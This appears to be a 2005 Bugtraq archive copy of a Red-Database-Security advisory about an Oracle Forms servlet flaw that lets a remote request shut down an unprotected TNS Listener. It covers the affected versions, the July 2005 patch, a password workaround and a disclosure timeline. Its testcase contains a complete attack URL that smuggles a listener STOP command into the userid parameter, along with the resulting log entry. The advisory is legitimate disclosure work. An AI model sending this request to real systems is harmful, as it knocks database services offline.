[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: Shutdown TNS Listener via Oracle Forms Servlet
From: ak () red-database-security ! com
Date: 2005-10-07 9:40:19
Message-ID: 20051007094019.24352.qmail () securityfocus ! com
[Download RAW message or body]
Shutdown TNS Listener via Oracle Forms Servlet
##############################################
Name Shutdown TNS Listener via Oracle Forms Servlet
Systems Affected Oracle Forms
Severity Medium Risk
Category Denial of Service
Vendor URL http://www.oracle.com
This advisory \
http://www.red-database-security.com/advisory/oracle_forms_shutdown.html Author \
Alexander Kornbrust (ak at red-database-security.com) Date 7 October \
2005 (V 1.00)
Details
#######
The forms servlet can be used to stop the (unprotected) TNS Listener.
Affected Products
#################
Oracle Forms
Testcase
#########
http://server:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=(A \
DDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=ST \
OP)(SERVICE=LISTENER)))&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES
Excerpt from the listener.log:
28-OCT-2003 14:44:46 * \
(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(CID=(PROGRAM=C:\oracle\oradev9i\bin\ifweb90.exe)(HOST=SERVER)(USER=Administrator))) \
* stop * 0
Affected systems
#################
All versions of Oracle Forms until CPU July 2005.
Patch Information
#################
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005). Oracle forgot \
to inform Red-Database-Security that this bug is fixed with CPU July 2005.
Workaround
##########
Protect the TNS Listener with a password.
History
#######
28-oct-2003 Oracle secalert was informed
29-oct-2003 Bug confirmed
12-jul-2005 Oracle published CPU July 2005 without informing Red-Database-Security \
that this bug is already fixed.
07-oct-2005 Red-Database-Security published this advisory
© 2005 by Red-Database-Security GmbH - last update 7-october-2005
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic